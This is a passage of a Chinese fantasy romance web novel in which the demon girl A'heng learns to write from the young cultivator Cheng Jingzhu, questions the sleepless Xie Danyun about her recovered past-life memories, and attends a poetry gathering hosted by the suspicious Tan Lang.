阿姮自然没有忘记自己是如何赖在他房里非逼着他教她写字的,此时听出他这句话有点下逐客令的意味,阿姮的屁股却根本没从凳子上挪一下,她一下又坐得很端正,向他露出笑容:“是我说的啊。” 回过头,阿姮一下收敛笑容。 她手上用力,毛笔在纸上戳成一团乌漆嘛黑的东西,程净竹似乎有些忍无可忍:“不好好学,就回去。” “不要。” 阿姮在砚台里将炸毛的毛笔捋了捋,却怎么也捋不顺,她干脆用手抓着笔尖捏顺,又端出一副被他教过的姿态,像模像样地落笔:“回去有什么好玩的。” 霖娘忙着学术法。 谢澹云又不睡觉。 阿姮简直无聊死了,在纸上连写了好多个“姮”,又写了好多个“竹”,最后干脆把“霖”也写了好多遍,她有点烦了,忽然转头问:“小神仙,‘夫妻’怎么写?” 程净竹看了她一眼,却什么也没说,起身走到她身边,见她满手都是黑墨,她张开手递来的那只笔也被弄得炸了毛,他没有接,手指在桌面描画几下,很快淡淡的金芒凝成清峻的笔锋。 阿姮依样画葫芦,写出四仰八叉的两个字来:“霖娘的爹娘是夫妻,谢家二夫人和二爷是夫妻,赵芳如和温荣生也是夫妻,可是为什么男人女人一定要做夫妻呢?” “繁衍,是所有动物的本能,却只有你们人类为它赋予一个夫妻的名义。” 阿姮说道。 “万物有灵,而人有情,”程净竹似乎早已习惯了她那么多的问题,“人因情而生爱,人爱父母,是血缘的连接,爱亲朋,是基于情而对没有血缘的人产生的爱,而没有血缘连接的男女之间因情生爱,则结成夫妻。” “情爱?” 阿姮闻言,不由笑道,“我猜赵芳如和温荣生之间一定没有这种东西。” “人间男女的缘分有月老指引,但缘分只是缘分,很多时候,上天给的缘分,却大不过人间的父母之命,所以夫妻之间并不一定有情爱。” “月老?”阿姮忙问道,“他也住在月亮上吗?” 程净竹摇头:“月老是喜神,天下姻缘都在他手,相传千年前的安国国君欲娶王后,在祭坛问神旨意却不得回应,正在其郁郁之际,一夜梦见月下有一老翁,那老翁鹤发慈眉,手挽红丝,笑而不语,只抬手指向国君之足,国君低首,见红丝缠踝,他再看老翁,却见老翁又指向南方。” “然后呢?” 阿姮问。 “国君梦醒,请臣子往南去寻,果然寻到一名足缠红线的女子,国君以为神示,便娶此女,从此相敬如宾,传为佳话,而那月下老翁也因此被世人传为月老,人们信奉他掌管人间姻缘,长供香火。” 程净竹说起这段传说,语气并没有多少起伏,因此也并不引人入胜,但阿姮却莫名想起万艳山上没骨花的幻境中,她所听到的那个姮娥与后羿的故事。 “若上界真有月老,若他真的手握天下姻缘,如此神仙在世,竟然也抵不过父母之命?”阿姮想不明白,神仙不应该比人类要强大很多很多吗? “纵然神有通天之能,也不能轻易改易人的意志,”程净竹说道,“而人自己的意志却总是变幻莫测,天不能掌握人的命数,也不能掌控人的情爱,月老可以看到世间男女之间的缘分,但这种缘分是一时,还是一世,都只在人心。” “正如赵芳如与温荣生之间的这段缘分实则是父母之命结成的孽缘,温荣生从一开始便在欺骗她,他们之间是恶因恶果,而这些,从来不是天命,是人为。” 阿姮似懂非懂,说道:“赵芳如明明不愿意嫁给温荣生,可她还是妥协了,就因为温荣生挟恩图报,她便要将自己当成父亲报恩的谢礼送给温荣生一生一世,可那个温荣生呢,冒领救命之恩不算,还与女妖纠缠不休,他这种人真是可恶。” 说着,阿姮扬起脸,望着站在身边的少年,笑盈盈地说:“我觉得……喜欢一个人就要一心一意,你说是吗小神仙?” 程净竹低垂眼帘,睨着她的那张脸,也许是霖娘今日又给她涂了什么胭脂,她双颊微红,像是一个正常人类的血气,杏花烟润,眸光潋滟。 但她脸颊,鼻尖不知什么时候沾到的墨痕太显眼,而她却全然没有发觉自己的狼狈,仍然弯着眼睛。 程净竹淡色的唇轻启:“你懂什么一心一意?” 那语气就像还有一层言外之意,阿姮微微眯起双眼,她自然明白他的意思,她有点不快,却仍然笑:“没有心,便不能懂吗?万一呢?” 至少,她对他的血,他的心,都一心一意。 槅门外秋风阵阵,日光自窗纱而来,铺落室中,程净竹那双清冷的眸子凝视着她,阿姮有一瞬简直以为他是否洞悉了什么,但他神情沉静,最终不过平淡地“哦”了一声。 阿姮一直在程净竹房中待到入夜,天色彻底暗下来,阿姮望见案前烛火橙黄的颜色,她一下子扔开笔:“谢澹云真的是人类吗?” 她竟然还不睡觉! 阿姮一直赖在这里,就是为了第一时间窥探谢澹云的梦境,她已经窥探过谢朝燕关于前世赵芳如的记忆,可她左思右想也从中找不出什么头绪,她看不出谢朝燕的执念到底是什么,何况那段记忆并不完全。 她原本想再看看谢澹云的过去,可谁知这个谢澹云竟然一直不肯睡。 床榻上,打坐的少年修士睁开眼:“你该回去了。” 阿姮早就不想写什么字了,谢澹云又不肯睡觉,她觉得没趣,听见程净竹下逐客令,她回头看他一眼,便气鼓鼓地开门出去了。 她人走了,室内一下安静许多。 但程净竹看向灯烛下,那桌上到处都是墨痕,因为她离开时没有合上门,所以夜风拂来,桌上的纸页翻飞落地,全是歪歪扭扭的字痕。 很多很多个“姮”字,又有很多个“竹”字,大约是写得烦了,“竹”字干脆变成了画得粗细不一的竹节,长着几片粗犷的叶子。 真是一片狼籍。 接下来两三日,阿姮一直没有找到进入谢澹云梦境的机会,非但如此,谢澹云与谢朝燕这两姐妹还给她找了点麻烦,尤其是谢朝燕,她在她爹谢二爷面前哭诉阿姮要害她性命,让谢二爷赶她出府,两姐妹都表现出对阿姮的恐惧,谢二爷半信半疑,只能找到程净竹,却又说不出逐客的话,还是程净竹先张口告辞,一行四人离开谢家,在客栈中住了下来。 今日正是檀园诗会之期,檀郎当日非但给了谢家姐妹请柬,还邀请了阿姮与程净竹他们四人,一大早,阿姮被霖娘挽着才走到程净竹房门前,便听里面传来积玉的声音:“师父找了那狐妖多日,想不到那妖怪竟然已经逃到贺州,师父要您前去帮忙,定然是那狐妖很不好对付,小师叔,既如此,我们快走吧!” 程净竹抬起手指,按灭半空中的金色字痕,随后他侧过脸,看向槅门:“你留下。” “小师叔,我……” 积玉眉头一皱,目光随程净竹看向槅门,他忽然住声。 外面一妖一鬼,尤其是那妖,若脱离了他们,也不知道会生出什么事端,积玉明事理,当即点头。 屋子里忽然没有声音了,阿姮与霖娘几乎将耳朵贴到槅门上去,却忽然“吱呀”一声,阿姮受霖娘牵连,一个不稳,身躯前倾,忽然一只手按在她肩。 霖娘好险稳住身形,抬头便见程净竹就站在门口,那双眼睛瞥来一眼,霖娘讪讪一笑,躲到阿姮身后。 阿姮看了一眼扶住她肩膀的那只手,随后抬起眼睛,对上那少年修士的目光:“你要走?去那个什么……贺州?” “师门中事,不便带你。” 程净竹似乎看穿她的意图。 阿姮“哦”了一声,却说:“我没说我要去啊,你走了正好,没有人妨碍我,我想怎么取谢氏女的执根就怎么取。” 这时,积玉走到程净竹身后,目光如炬地盯着阿姮沓樰獨家諍裡。 阿姮看了他一眼,又望向程净竹:“你留他监视我啊?” “别做不该做的事。” 程净竹说道。 阿姮但笑不语。 清晨山间薄雾正浓,谢家两姐妹各乘一架马车,携仆带婢,往檀园去,谢澹云在马车中迷迷糊糊地睡了半盏茶的功夫,车轱辘忽然一颠簸,她骤然惊醒。 马车里忽然变得昏暗。 帘子也不再动,一点风声都不剩。 谢澹云心头一颤,熟悉的恐惧感笼罩而来。 “谢澹云。” 她听到那道女声,很快,她看到淡淡的红雾浮动,谢澹云张口想要唤外面的香豆,嘴唇动了动,却发不出一点声音。 红雾凝成那女子的身躯,就坐在她的对面。 少女白衣红襟,乌发若云,那双暗红的眼睛盯着她,谢澹云浑身冰冷,一颗心几乎要跳到嗓子眼,她呼吸都凝滞了,只见少女缓缓张口:“你为什么不睡觉!” 竟然是气鼓鼓的质问。 ……啊? 谢澹云愣住了。 第48章 第48章 “原来火种在你这里啊。”…… 马车仍在前行, 香豆在外跟着,与几个仆婢低声交谈,声音隐隐约约传入车内,昏昧的几缕光线中, 阿姮神色不善地凝视着对面那个无法动弹的年轻女子。 她已经忍了这谢澹云很久了。 阿姮无时无刻不再监视着她, 但凡谢澹云有一刻松懈, 阿姮必定会有所察觉,可这几日来,谢澹云始终夜夜不眠, 只有白日里偶尔打瞌睡, 但因时间短暂, 又有阳火在天, 所以难以入梦。 “我看你也不是不想睡,”阿姮望见她那双眼睛, 红色的血丝若蛛网一般覆盖在她的眼白, “否则,你也不会吊起自己的头发, 用簪子戳自己的掌心。” 阿姮说着, 看向她微微展露的手掌, 红色的淤痕几乎遍布:“你不知道疼吗?” 谢澹云一时赧然, 她本能地想要蜷缩起自己的掌心, 却根本使不上一点力,她只能勉强垂下眼睫,张口, 竟然顺利发出声音:“知道疼,才能保持清醒。” 阿姮审视着她,忽然道:“你怕睡觉?你在怕什么?” 谢澹云抬眸望见车厢中幽幽浮浮的红雾, 她自知即便此时大声呼救,怕是也惊动不了外面的仆婢,她对上阿姮的目光,半晌,终是开口:“姑娘不是知道吗?我重新拥有了一些东西,它总在梦中纠缠我。” 阿姮双腿交叠,一只脚微微晃荡:“你竟然怕它……那我就很不理解了,怕的话,你为什么还要紧紧藏着它,不肯承认呢?” “有些东西,不是从我脑子里生生挖出来就可以消解的!” 谢澹云的语气忽然变得急促,几夜不眠,她的脸色有些憔悴,声音很快变得又低又缓,像无意识的喃喃自语:“从前我就总觉得我的心像缺了一角,可我始终不知道那是什么,但我却没有办法不去在意,直到那日……天上的流火砸下来,我从那片金光里看到了我丢失的东西,它属于我,从前世到今生。” “可你惧怕它。” 阿姮的声音清细,顷刻将谢澹云从恍惚中唤回,谢澹云失焦的眼睛重新凝聚起阿姮的模样,只见阿姮笑盈盈地凑了过来,说:“谢澹云,那早已不是你的东西,而是你前世的孽债,说起来都是我在阴司不小心打碎了东西,才让你想起这些,你不如乖乖配合我,让我取走它,好不好?” “是你……” 谢澹云却惊愕地望着她:“是你让我的记忆回来的?” 阿姮颔首:“是我啊。” 谢澹云似乎怔住了,她起初在看阿姮,但双眼的神光渐渐涣散,她似乎只是茫然地睁着眼,而心思全然不知道哪里去了。 “小繁,你少在这里糊弄我,不就是想打听我家小姐的婚事么?别以为我看不出来!” 马车外,香豆忽然生气地喊道。 “是又怎么了?” 那小繁不知何时到了谢澹云的马车外面,见香豆如此,便理论起来:“我不过是问一问罢了,二小姐关心堂姐,有什么的?你却好不讲道理!” “我们大小姐柳絮才高,乃是个不栉进士,定然会有一个风流蕴藉的才子郎君来配!”香豆扬着下巴,说道。 “是王都的才子郎君么?” 小繁却说。 两名婢女少有这样争嘴的时候,积玉骑马而来,正见她们面红耳赤地边走边争,那边马车里谢朝燕不悦的声音传出:“小繁。” 小繁一下哑了声音。 此时,一道水流擦积玉身边而过,阴冷的风掀开谢澹云的马车帘子,香豆与小繁同时看去,只见那流水钻入帘内,随后帘子很快落下。 香豆变了脸色:“大小姐!” 她正要去掀帘,却听里面传出谢澹云平稳的,没有丝毫异样的声音:“没事。” 积玉骑马向前,对香豆道:“你放心,方才那并不是什么妖物。” 香豆见马背上是那位上清紫霄宫的仙长,脸色便缓和下来,松了口气。 马车内,霖娘从水化成人形,见阿姮靠坐在一侧,臭着脸盯着那谢澹云,而谢澹云低着头,看起来似乎并没有什么异样。 “澹云小姐,抱歉。” 霖娘率先打破马车内诡异的静谧,见谢澹云抬眸看了过来,霖娘有些不好意思地说道:“阿姮她对你们其实是没有恶意的,她也不会伤害你们,当然,我也不会。” 谢澹云凝视霖娘,片刻又看了阿姮一眼,随后,她垂下眼帘,说:“我知道了。” 知道了? 霖娘有点茫然,她知道什么了? “我们反正都要往檀园去,澹云小姐不介意我们同往吧?”说出这句话,霖娘不禁一阵脸红,她与阿姮的屁股其实已经稳稳坐在这架马车上了,但她总要找补一点礼数,虽然这点礼数实在有点苍白。 “不介意。” 谢澹云说道。 “多谢!” 霖娘感激地说道。 马车里又变得静悄悄的,没一会儿,霖娘抓住阿姮的手臂,低声抱怨:“你跑得也太快了……” “是你太慢。” 阿姮瞥她一眼:“积玉没教你腾云驾雾吗?” “那是需要法器的,我又没有。” 霖娘嘟囔。 她身上唯独一件元真夫人的云肩,是保住她水鬼之躯不被阳世消解的护身法宝,却不是可以用来驾驭的法器。 阿姮想了想,问她:“他到底有没有教你傀儡术?” “我又不想学那个,所以没有问过他,”霖娘摇了摇头,又说,“你想学,问他不就好了?” “他讨厌我。” 霖娘听见阿姮这样说,便愣了一下,随即她想要替积玉解释点什么,却听阿姮慢悠悠吐出下半句:“我也讨厌他。” “……” 霖娘看了一眼坐在对面的谢澹云,她始终低着头,像根木头似的,并未在乎她们的交谈,但霖娘还是压低了声音,凑近阿姮耳边:“谁让你喜欢一个修道之人呢?积玉是怕你影响程公子修行,关心则乱。” “我喜欢他,”阿姮缓缓抬眸,“他便不能修行了吗?” “这……” 事实上,霖娘也不太明白,她也是才从赤戎出来,并不了解外面的四方世界,霖娘对上阿姮好似天真的眼睛,不由低声问:“若是呢?” 阿姮,你会怎么做? 霖娘下一句还没问出口,便觉马车似乎停下了,果然,下一刻外面便传来香豆的声音:“大小姐,到了。” 香豆正要扬手去掀帘,却见帘子一动,一只苍白瘦削的手拂开素帘,紧接着,香豆便见一身如弱柳般的绿衣女子露出一张温丽的容颜,她对愣住的香豆笑了一下,轻盈地落下马车。 香豆见过她,是先前在府上暂住过的赵姑娘。 再看那素帘再一动,雪白的纱衣如水面层层粼波荡漾,底下一层泛着银色光泽的洁白绫罗裙摆,衣襟鲜红,而腰间红绦随风而动,香豆盯着她抓住帘子的那只手上一粒被红绳系在指上的粉霞宝珠,那珠子有些太大,明显不适合做指环,却实在漂亮得不像话,视线往上,那女子面上似乎带笑,双眼清亮含光,却令人心中发冷。 她似乎只是随意地瞥了香豆一眼,几步下来马车,身影轻飘飘的,像漂浮的雾,香豆的心几乎要跳到嗓子眼。 小姐与她说过,这是个妖女! 香豆猛地望向那身背金剑的青年,他才从马背上下来,一下对上香豆的目光,不由摸了摸鼻子。 他是说过方才进去的那个不是妖物。 却没说,里面早有一个妖物。 但她……应该没做什么吧?积玉一瞬看向马车,而此时香豆连忙将帘子撩开,大片的日光落进去,谢澹云似乎才有了点反应,她迟缓地抬眼,听见香豆唤她,她应了一声,起身,握住香豆的手,下了马车。 看来是没做什么。 积玉见此,终于放下心,望向阿姮曼妙的背影。 这么说来,她似乎还挺听小师叔的话? 檀园门外早有奴仆等候,远远见马车行来,便有人赶紧入园子里去禀报,待马车在大门前停下,所有人都走上石阶,大开的门中,一众奴仆簇拥着一位紫衣郎很快行来。 那紫衣郎发髻整齐,束一玉冠,着绛紫色锦衣,身形修长而挺拔,随着他大步流星的举动,衣摆随风而动,闪烁金色暗纹的光泽,一身跌宕风流。 “诸位贵客终于来了。”檀郎大步跨出门来,含笑拱手。 晨雾幽幽,他那样一双和煦的眼睛看了过来,谢澹云忽然抓紧身边香豆的手,香豆吃痛,却强忍下来,她抬起脸,只见小姐双眼似乎有些涣散。 “檀公子。” 谢澹云松开香豆,欠身。 仿佛方才的那点迟缓只是香豆的错觉。 谢朝燕似乎被谢澹云的声音刺了一下,她眸光微微闪动,后知后觉般行了一礼:“多谢公子相邀。” 积玉总觉得她们两个方才好像有点不对劲,但此时再看她们,哪个不是神光明亮,举止翩然。 “阿姮姑娘,你也来了。” 檀郎与两位小姐见过礼,便看向阶下的阿姮,阿姮对上他的目光,微微一笑:“是啊。” 檀郎又对霖娘微微颔首,说道:“先前没有机会,还未请教这位姑娘芳名?” “我姓赵,小字霖娘。” 霖娘说道。 “原来是赵姑娘。” 檀郎点点头,又见积玉身边再无旁人,不由问道:“怎么不见程仙长?” “小师叔身有要事,并非故意不来。” 积玉解释道。 “那还真是可惜了,某今日特地为二位仙长准备了好茶,”檀郎略有遗憾地叹了口气,“不过仙长您来赴会,某亦欣喜万分,诸位,快快请进,园中正有秋菊好景,可供赏玩。” 积玉觉得他语气里似乎有些异样,一边往门内去,一边问道:“檀公子可是有什么事要找我小师叔?” “找您也是一样的。” 那檀郎的近身奴仆黄安率先接过话:“仙长有所不知,自从之前永济寺后山有妖物做乱,永济寺便封锁了山门,里面的僧人日夜诵经除祟,听说如今早没有什么妖物在此了,可为保万全,永济寺至今仍未开山门,我家主人原本那护身符便是在永济寺求的,如今已然没了,虽说那妖物早已无影无踪,可我家主人身无护持,还是不能安心。” “檀公子是想求我师门符咒?” 积玉明白过来。 “正是如此,”檀郎笑道,“不怕仙长笑话,我当日虽说是逞了一回英雄,这心中却还是后怕,若无护身的东西,夜里还真有些不安稳。” 积玉点点头,说道:“若是护身符咒,我便可以施以公子。” “既如此,檀某便多谢仙长了!” 檀郎似乎松了口气,笑邀积玉:“仙长快请。” 又路过那片奇石怪山,石中孔洞光线纷杂,人从假山小径过,里面似乎传来响动,黄安见贵客们朝底下看,便笑着说道:“许是野猫,它们一贯怕人,这是受惊跑了。” 阿姮看了一眼底下,孔洞中似乎有空空的碗碟,再抬眸,她明显察觉谢朝燕的脸色似乎变得有些难看。 今日诗会设在临水的阁中,香阁内外秋菊各色,艳丽若锦,锦衣朱履的奴仆们在阁中拨弄弦琴,吹鸣洞箫,丝竹管弦无不齐备,宴上冷食丰渥精美,数位士子已在案前饮酒多时,正在谈笑,见檀郎领着众人进来,他们连忙起身,整理衣装。 “可是我们来得晚了?” 谢朝燕往里面看了一眼,说道。 “绝非如此。” 有个穿赭色襕衫的士子率先说道:“小姐不知,我等昨夜在此宴饮,檀兄好客,留我等在园中安歇了一夜,所以,并非是小姐来迟。” 见此人彬彬有礼,谢朝燕微微颔首:“原来如此。” 此时,又有士子忙道:“早听闻谢侍郎家中两位小姐有咏絮之才,却不知,哪位是澹云小姐,哪位又是朝燕小姐?” 谢朝燕与谢澹云几乎同时欠身: “小女朝燕。” “小女澹云。” 男女不同席,男客在左,女客在右,谢家姐妹被檀园奴仆领去落座,阿姮与霖娘才慢慢悠悠跨进门来。 一时间,士子们的说话声渐小。 谢家两女本就风流秀曼,光艳非常,众人不想,竟然又有两位姝丽款款而来,檀郎落座,对众人笑道:“这二位姑娘,还有上清紫霄宫的仙长,都是某的贵客。” 话音落,众人见那年轻的仙长身背金剑,在近门处落座,他们大多听过上清紫霄宫的名号,却常觉其与天上仙宫一样渺远,因此一时间多有人向积玉敬酒,但积玉借口修行,推辞不受。 阿姮与霖娘才坐下来,她便见案上有一碟东西,似乎是糖果子,她抬起眼帘,那檀郎正对身边的黄安说了些什么,随后黄安出去,不一会儿,数名奴仆便将热食都端了上来。 今日檀郎不止请了四位女客,还有那些士子好友家中的姐妹也都受了邀请,没过一会儿,便都来齐了。 桌上酒馔芳美,四周秋菊正艳,丝竹之声悦耳非常,有士子不禁拍腿叹道:“檀兄家中奴仆都有如此技艺,多么美妙的乐声,可惜没有舞姬为伴。” 谢澹云闻言,微微皱眉。 “你是头天认识檀兄么?” 一人笑道:“檀兄自小家风严谨,即便出了王都,来到咱们这彭州,他也谨遵家中教诲,身边连一个婢女都没有,又如何会请舞姬入园呢?” “他啊,连观舞都觉得是一种亵玩,不与我等俗人相论。” “你们是潇洒惯了,芳美酒馔都塞不住你们的嘴!”檀郎哈哈一笑,又摇了摇头,说道,“我母亲独自抚养我长大,怕我浪荡伤人,而求不得真心相待的妻子,所以对我严加管教。” “檀兄这样的人,何愁真心?贤妻美妾,皆不难求!” 有人说道。 当着一帮女客,眼见这些士子快要将平日里的风流潇洒袒露无遗,檀郎抬手示意,丝竹管弦俱停,檀郎笑着说道:“诸位既已用过早食,那么今日的诗会便要开始了。” 士子们终于不再继续方才的话题。 谢澹云与谢朝燕眉头俱松了些。 黄安十分麻利地令人撤下残羹,又上了些温热的美酒香茶,各色茶点,又有奴仆备齐笔墨纸砚,一一铺在诸客案前。 “如今正是赏菊的好时候,不若这第一首诗,便以菊为题,如何?”一位士子提议道。 其他人皆无异议。 霖娘哪里会写什么诗啊,她连读都没读过几句,转过脸,只见旁边阿姮已将纸抓起来团成团玩儿,那洒金宣纸薄如蝉翼,却韧性十足,一看便价值不菲,阿姮却已经连团了两个纸团,见霖娘看她,她便将一个纸团砸到霖娘脑门儿上。 “……” 霖娘捡起掉在裙摆上的纸团,却发觉里面似乎有墨迹,她将纸团展开来,只见里面墨痕洇湿,却依稀可辨一个四仰八叉的“霖”字。 霖娘一怔,再看阿姮,她像拿饭勺一样拿笔,又在纸上画了一根很丑的竹子,叶片乱飞,霖娘捏着纸团,小声道:“阿姮,你喜欢吃什么?” 阿姮看向她。 霖娘往四周看了看,大家都在凝神作诗,并没有注意到她们这里,霖娘指了指自己身上的布兜,悄声:“我给你带回去吃。” 阿姮此时看不到太多色彩,所以她并不知道檀园的这些茶点有多精致漂亮,霖娘只吃了一小块,便觉唇齿留香,她却没再多吃一块,而是全部被她装进布兜里,预备等夜里回去都给阿姮吃。 阁外晨雾早就散尽,秋阳点缀于各色菊花之间,斑驳的光影碎若粼波,一个晌午过去,阿姮几乎将面前的纸都给涂鸦殆尽,她又开始玩儿墨锭,不断地在砚台里磨来磨去,磨得黑墨满溢,滴落案头。 会上群芳之间,唯有谢氏两女尽得风光,而士子之间,则是檀郎独得头筹,然而几首诗下来,不论男女,终是谢氏两女难分伯仲。 阿姮听不懂那些,也没什么兴趣,她抬起脸,只见坐在对面的积玉偷偷打了个哈欠,可见他也很不惯这些咬文嚼字的东西。 也许是发现阿姮在看他,积玉一下正了正神色,坐得端正,俨然一副世外仙长的风骨。 这个人实在没趣得很。 阿姮无聊地想。 也不知道小神仙到底什么时候才能回来。 “小生今日是不得不佩服二位谢小姐,”有个士子起身拱手,又将一杯酒提起来,道,“二位小姐之才,今日我等算是领教了!” 说完,仰头饮尽。 谢澹云与谢朝燕皆小抿一口黄酒,算是回礼。 但她二人目光相接,却又很快各自挪开,脸色都有些不善。 黄安早备好酒席,趁着此时命人上来摆宴,男女分席而坐,中间设素纱屏,阿姮吃什么都没有任何味道,她也懒得动筷,却见坐在另一桌的谢澹云借口散酒气,由香豆扶着,起身出去了。 霖娘正在挑选席上有什么好吃的,她记得阿姮爱吃甜的东西,正预备拿几块方便携带的枣泥糕,转过脸却发现阿姮竟然不见了,她一下站起来,绕过屏风去,只见积玉独坐一处,旁边一碗香茶,几碟茶点。 两人目光相视。 谢澹云由香豆扶着,穿过廊庑,廊下秋菊正艳,香气扑鼻,她原本便有些晕,眼中繁花迷乱,却听香豆忽然道:“小姐,你看……” 秋风吹得谢澹云似乎清醒了些,她抬眸看去,只见一片花团锦簇中,那紫衣郎弯身,手中是瓷白的一只小碗。 也许是听见了香豆的声音,他转过脸来,见是谢澹云主仆,便笑着说道:“澹云小姐怎么离了席?” 谢澹云走近:“檀公子又因何离席?” “哦,园中常有猫儿来,我习惯喂一喂。”檀郎说着,从花丛中起身,花叶沾在他的衣摆,而他手中那只瓷碗中,还残留有浓烈的血色顺着碗壁滴落下来,砸在金黄的花蕊中。 血腥气钻入谢澹云的鼻息,她有点反胃,却生生忍下来,见烂漫秋阳中,檀郎双眸剔透,谢澹云心中一跳:“怎么不见猫儿?” “怕生,你一来,它便跑走了。” 檀郎说着,朝她晃了晃自己的一根手指,上面血色浓郁:“你看,它张皇失措,还弄脏了我的手指。” 鲜红的血液,修长的指节。 谢澹云被他的目光注视着,脸颊隐隐发烫,她垂下眼帘,说道:“我知道,今日诗会,是檀公子意在为我姐妹正名。” 谢澹云与谢朝燕都是闺阁小姐,此前从未去过什么诗会,她们是在闺中传出才名,兰大人盛情相邀,她们却双双抱病,市井之间因此而生出诸般猜测。 未听檀郎应答,谢澹云不由抬眸:“难道……不是吗?” 檀郎一笑:“二位小姐之才,多少七尺男儿也比不过,这一点我承认,他们也得承认。” 果然是她想的那样。 谢澹云欠了欠身:“澹云多谢公子,虚名而已,其实并不重要,我自知我一个女儿身,不能经世,也不能图谋功名,所以读书只为明心。” “那倒是我画蛇添足了。” 檀郎说道。 “不是。” 谢澹云连忙说道:“澹云绝非此意,我的意思是说,明心为己,所以我明白公子对我姐妹的一片好心。” “嗯。” 檀郎点点头,在花丛中负手而立,他那双眼望着几步开外的谢澹云,那香豆早躲到一边去,背对着他们了。 檀郎说道:“澹云小姐若是个男儿,我们定然能成至交。” 谢澹云心中泛苦,却听檀郎又道: “不过女儿家又有什么不好的?” 谢澹云一怔,再度抬眸,只见檀郎那双眼睛弯弯的,粼波剔透,他的嗓音清越极了:“澹云小姐说得对,这世上不说女子,便是男子也不尽都是为了功名而苦读,檀某不才,胸中没有那天大的抱负,某读书也不过是与小姐一般,明心而已。” 谢澹云心中忽然砰砰地跳,她几乎失神地凝视檀郎的那双眼睛。 “将来,” 檀郎垂眉,轻声笑,“若能得一知己,彼此真心相待,也就一生无憾了。” 谢澹云胸腔中心跳更加剧烈,她一下撇过脸,避开檀郎的目光,鬓边的珍珠流苏轻轻晃动:“檀公子这样的人,要多少真心都很轻易。” “那太过了!” 檀郎哈哈一笑,说道:“我却只想以一求一。” 以一,求一。 以一颗真心,只换另一颗真心。 谢澹云手指一紧,捏住绣帕,她一下望向那紫衣郎,日光下,秋风中,他从来那般落拓不羁,风姿无限。 他那双天生含情的眼注视着她,谢澹云脸上不禁浮出红霞,却是此时,香豆的声音忽然响起:“你,你……” 谢澹云一下回过头,只见不远处,□□上,那白衣少女不知何时出现在那里,谢澹云神情一滞。 “澹云小姐,”这时,檀郎的声音落来,谢澹云见他走来,对她笑了一下,“我出来的久了,那些好友怕是要寻我,我先回席上,今日你们二位小姐胜负未分,用过饭后,先歇息一阵,再继续吧。” 他的温声言语,竟然有种令人心安的力量,令谢澹云紧绷的眉头忽然松懈了点。 檀郎走到阿姮面前,说道:“今日特地准备了姑娘喜欢的糖果子,怎么我见姑娘却一口没动?” “吃腻了。” 阿姮说道。 “看来,又是我准备不周了,”檀郎轻声叹息,“若姑娘下回再来,我必然备更好的酒馔招待姑娘。” 阿姮也笑,却不说话。 檀郎向她点了点头,擦身而过。 阿姮回头,看向他拿在手中的那只碗,里面血色浓郁,她闻不到味道,但她对血气是一种天生的追逐,她依旧感受到那血气的腥臭。 实在太臭了。 “阿姮姑娘。” 忽然,谢澹云的声音落来。 阿姮转过脸,见谢澹云走了过来,看了一眼香豆,香豆张了张嘴,但见谢澹云拧起眉头,她便什么也没说,往远处去了。 阿姮静默观察着谢澹云,却没料到她忽然双膝一屈,竟然跪了下来。 阿姮有些错愕:“你干嘛?” 秋风飒飒,吹动谢澹云的裙摆,她扬起脸,望着阿姮,说道:“姑娘既是帮我找回记忆的人,便是我的恩人。” 阿姮更加费解,她俯下身,凝视着面前的女子:“你看看你,眼圈都黑了,你明明那么害怕,怕得连觉也不敢睡,如今,却跪在我面前……感激我?” 谢澹云一下摸向自己的脸:“真的那么明显吗?” 那,方才檀郎岂不是…… 阿姮有点无语。 她皱着眉,语气不耐:“谢澹云。” 谢澹云放下手,说道:“我是惧怕那段记忆,可忘了它,我会更加难受。” “为什么?” 阿姮实在不理解:“明明忘了,就都不存在了。” “不,” 谢澹云望着阿姮,“只有阴司这样以为,对我来说,忘记,是另一种痛苦,因为我的不甘,我的遗憾,我的一切的一切都只是被他们挖了出去,它离开我的脑子,离开我的心,可它依然存在,它从来都没有消失!” 阿姮看着谢澹云那双渐渐发红的眼,她此刻似乎想起很多事,她的神情变得异常紧绷,眼白又涨起一层红血丝:“我只有记得那些东西,才知道我这辈子到底该怎么办……” 她眼中闪烁着晶莹的泪意,像自言自语:“我一定,一定……要嫁一个,我自己选的,最好的郎君。” 霖娘与积玉匆忙寻来,正好与谢澹云主仆擦身而过,霖娘见谢澹云一边走,一边还在用绣帕拭泪,香豆凑在她耳边说了句什么,她停下来抬起头,只见不远处的廊上,谢朝燕与她的婢女小繁站在一起,她冷冷地注视着谢澹云。 谢澹云顿了一下,还是很快走到廊上去,谢朝燕拦住她的去路,两人相对。 谢朝燕开口:“你们说了什么?” 谢澹云直觉她所说的“你们”,并不是指她与阿姮,而是她与檀郎,谢澹云神光未动,却道:“我为何要告诉你?” “都说天降流火是灾异,”谢朝燕盯着她,“怕是只有你我知道那到底是什么吧。” 一层薄薄的窗户纸,终于被捅穿,风雨雷电全都灌进来,轰隆不断。 谢澹云与她相视,却忽然说:“你怕猫?” 谢朝燕的神情一瞬扭曲。 秋阳明亮,满园鲜花若锦,这么远的距离,霖娘听不到她们到底在说些什么,她走到阿姮身边,问:“那谢澹云方才怎么哭了?” “谁知道?” 阿姮一脸莫名。 积玉投来怀疑的目光:“被你吓的?” 阿姮笑了一声:“怎么?你要找小神仙告我的状吗?那你快点去,让他早点回来……收拾我好了。” “……” 积玉无言。 阿姮还在想方才谢澹云说的那些话,她不由说道:“一个人类既然在成亲这件事上吃过亏,为什么还要再吃一次呢?” “因为下一次不一定吃亏吧。” 霖娘说道。 阿姮看向她。 “嗯……”霖娘想了想,说,“有些人成亲后过得不幸福,但并不意味着他们就从此对情爱失去了信心。” “情爱?” 阿姮知道这个东西,但实在很难懂它。 “就比如,我那会儿问你,若是……”霖娘说着,见积玉还在旁边听着,她一把拉过阿姮往花丛那边走了数步,这才停下来,回头望一眼积玉,他似乎翻了个白眼,却没过来,霖娘放下心,却还是小声说道,“若是你对程公子的喜欢妨碍到他的修行,而万一修行是他此生最重要的事,你会不会放弃?” “放弃?那不就是不喜欢了?”阿姮说道。 “不是的,阿姮。” 霖娘摇了摇头:“有的时候,放弃也是一种喜欢,而且,是很喜欢。” 阿姮垂下眼帘,却总觉得这些东西像一团乱麻,她怎么理也理不清楚,她问霖娘:“那你呢?你的情郎已经死了,你还会成亲吗?” 霖娘神情僵了一瞬。 “……阿姮,你是不是有点冒昧。” 霖娘闷闷地说道。 “看来你不会。” 阿姮说。 霖娘的确不会,哪怕柳行云已经死了,她也还是喜欢他。 天光云影灿若金霞,阿姮其实不明白什么喜欢才是想要成亲的喜欢,她只知道自己迷恋程净竹的血液,无比想要得到他的心脏。 至于他的修行? 那又不关她的事。 但此时此刻想起他来,阿姮望向云影深处。 